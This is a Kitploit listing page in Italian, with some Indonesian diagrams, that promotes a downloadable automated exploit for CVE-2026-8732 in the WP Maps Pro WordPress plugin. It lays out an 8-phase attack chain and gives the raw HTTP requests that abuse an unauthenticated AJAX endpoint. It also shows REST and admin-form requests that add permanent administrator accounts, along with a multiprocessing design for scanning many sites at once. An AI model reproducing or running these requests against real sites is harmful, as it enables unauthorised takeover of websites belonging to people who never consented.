Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-8732 — Exploit automatizzato in 8 fasi per CVE-2026-8732, un'escalation di privilegi non autenticata in WP Maps Pro ≤ 6.1.0. Utilizza multiprocessing e asyncio per scansionare i target, estrarre i nonce e creare account amministrativi. | Kitploit
Strumenti/GitHubGitHub/zycoder0day/cve-2026-8732
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubzycoder0day/cve-2026-8732

CVE-2026-8732

Exploit automatizzato in 8 fasi per CVE-2026-8732, un'escalation di privilegi non autenticata in WP Maps Pro ≤ 6.1.0. Utilizza multiprocessing e asyncio per scansionare i target, estrarre i nonce e creare account amministrativi.

Vedi Repository
2134 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

⚔️ CVE-2026-8732

WP Maps Pro ≤ 6.1.0 — Escalation dei Privilegi Non Autenticata

CVSS 9.8 CRITICAL CWE-306 Python 3.8+ License MIT

Automazione dell'Exploit in 8 Fasi | Multiprocessing + Asyncio | Creazione Admin Verificata


🎯 Informazioni sulla Vulnerabilità

Il plugin WordPress WP Maps Pro versione ≤ 6.1.0 presenta una vulnerabilità di escalation dei privilegi senza autenticazione. Un attaccante senza alcuna credenziale può creare un account amministratore e prendere il controllo del sito.

La vulnerabilità deriva dalla funzionalità "Temporary Access", progettata per il team di supporto del vendor FlipperCode, ma esposta al pubblico senza un'adeguata protezione.

InformazioniDettagli
CVECVE-2026-8732
CVSS9.8 (CRITICO) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
PluginWP Maps Pro (wp-google-map-gold)
VendorFlipperCode
Versione Interessata≤ 6.1.0
Versione Corretta6.1.1
TipoMissing Authentication for Critical Function (CWE-306)
ImpattoCreazione di admin senza autenticazione → controllo totale del sito
Autore PoCXENON1337

🔥 Tre Debolezze Correlate

┌──────────────────────────────────────────────────────────────┐
│  KELEMAHAN 1 — Endpoint Terekspos Tanpa Autentikasi        │
│  ▸ AJAX action didaftarkan dengan wp_ajax_nopriv_           │
│  ▸ Siapapun bisa mengakses tanpa login                      │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  KELEMAHAN 2 — Nonce Bocor di Halaman Publik               │
│  ▸ Objek wpgmp_local.nonce disematkan di setiap halaman    │
│  ▸ Penyerang bisa mengekstrak nonce dari HTML source        │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  KELEMAHAN 3 — Tidak Ada Pemeriksaan Hak Akses             │
│  ▸ Fungsi callback hanya memverifikasi nonce               │
│  ▸ Tidak ada current_user_can() — tidak ada pertahanan lain│
└──────────────────────────────────────────────────────────────┘

⚡ Catena d'Attacco — 8 Fasi

  ┌─────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ FASE 1  │──▶│ FASE 2   │──▶│ FASE 3   │──▶│ FASE 4   │
  │ RESOLVE │   │ CHECK WP │   │ DETECT   │   │ VERSION  │
  │ HTTPS?  │   │ wp-content│   │ PLUGIN   │   │ ≤6.1.0?  │
  │ HTTP?   │   │ wp-login  │   │ wpgmp_   │   │ WAF?     │
  └─────────┘   └──────────┘   └──────────┘   └─────┬────┘
                                                      │ RENTAN
                                                      ▼
  ┌──────────────────────────────────────────────────────────┐
  │                    FASE 5 — EKSTRAKSI NONCE               │
  │                                                          │
  │  GRUP A (API)          GRUP B (Konten)      GRUP C      │
  │  ├─ M1: REST pages    ├─ M4: Sitemap XML   └─ M7: Slug  │
  │  ├─ M2: REST search   ├─ M5: Homepage links    Brute    │
  │  └─ M3: rest_route    └─ M6: RSS/Atom feed   Force     │
  │                                                          │
  │  Target: wpgmp_local.nonce = "fc-call-nonce"             │
  └──────────────────────────┬───────────────────────────────┘
                             │ NONCE DITEMUKAN
                             ▼
  ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ FASE 6   │──▶│ FASE 7   │──▶│ FASE 8   │
  │ EXPLOIT  │   │ VERIFY   │   │ ADD ADMIN│
  │ POST AJAX│   │ Magic URL│   │ PERMANEN │
  │ nonce+   │   │ Cookie   │   │ REST API │
  │ check_   │   │ login    │   │ WP-Admin │
  │ temp=false│   │ check    │   │ Form     │
  └──────────┘   └──────────┘   └──────────┘
                                       │
                                       ▼
                               ✅ ADMIN DIBUAT
                               Login: wp_xxxx / pass
                               Role: administrator

Dettagli di Ogni Fase

FaseNomeFunzioneRichieste
1ResolveSeleziona HTTPS/HTTP in parallelo1
2Check WPVerifica che il target sia WordPress0
3Detect PluginControlla gli indicatori WP Maps su 3 livelli0-4
4Version + WAFLegge readme.txt / CSS ?ver= + rilevamento WAF1
5Estrazione Nonce7 metodi di ricerca in 3 gruppi paralleli0-150
6ExploitPOST admin-ajax.php → crea un account admin temporaneo1
7VerificaAccede alla magic URL → conferma la sessione admin2
8Aggiungi AdminREST API (principale) + modulo WP-Admin (backup)4

🛠️ Metodi di Attacco

Metodo 1: Exploit Principale — Creazione Admin Senza Autenticazione

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpgmp_temp_access_ajax
nonce=<EKSTRAKSI_NONCE>
check_temp=false

Risposta se vulnerabile:

{"url":"https://target.com/?wpgmp_access=abc123def456"}

Questa magic URL fornisce un login automatico come fc_user_XXXXX (ruolo: administrator).

Metodo 2: Aggiungi Admin Permanente tramite REST API

POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json

{
  "username": "wp_xxxxxxxx",
  "email": "user@localhost",
  "password": "Str0ng!Pass#2026",
  "roles": ["administrator"]
}

Metodo 3: Aggiungi Admin tramite Modulo WP-Admin (Backup)

POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded

user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1                       <-- KUNCI: konfirmasi password lemah
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>

Punto chiave: pw_weak=1 è obbligatorio — WordPress rifiuta password deboli senza questo parametro.


📐 Architettura

CVE-2026-8732.py
│
├── 📦 NonceFinder — Pencari nonce dengan 7 metode
│   ├── Grup A (API): M1 REST pages, M2 REST search, M3 rest_route
│   ├── Grup B (Konten): M4 Sitemap, M5 Homepage links, M6 RSS feed
│   └── Grup C (Paksa): M7 Slug brute force (30+ slug umum)
│
├── ⚔️ Exploiter — Mesin eksploitasi 8 fase
│   ├── resolve()           → Fase 1: Pemilihan protokol
│   ├── check_wp()           → Fase 2: Verifikasi WordPress
│   ├── detect_plugin()      → Fase 3: Deteksi plugin + early nonce
│   ├── detect_version()     → Fase 4: Deteksi versi + WAF
│   ├── exploit()            → Fase 6: Eksploitasi inti
│   ├── verify()             → Fase 7: Verifikasi login admin
│   └── add_admin()          → Fase 8: Tambah admin permanen
│
├── 🔧 Worker Process — Proses pekerja multiprocessing
│   ├── producer()           → Baca domain dari mp.Queue
│   └── consumer() (N)       → Eksekusi scan paralel
│
└── 🖥️ Scanner — Antarmuka pengguna
    ├── single()             → Mode target tunggal (interaktif)
    └── multi()              → Mode multi-target (massal)

Flusso di Dati

Scarica lo strumento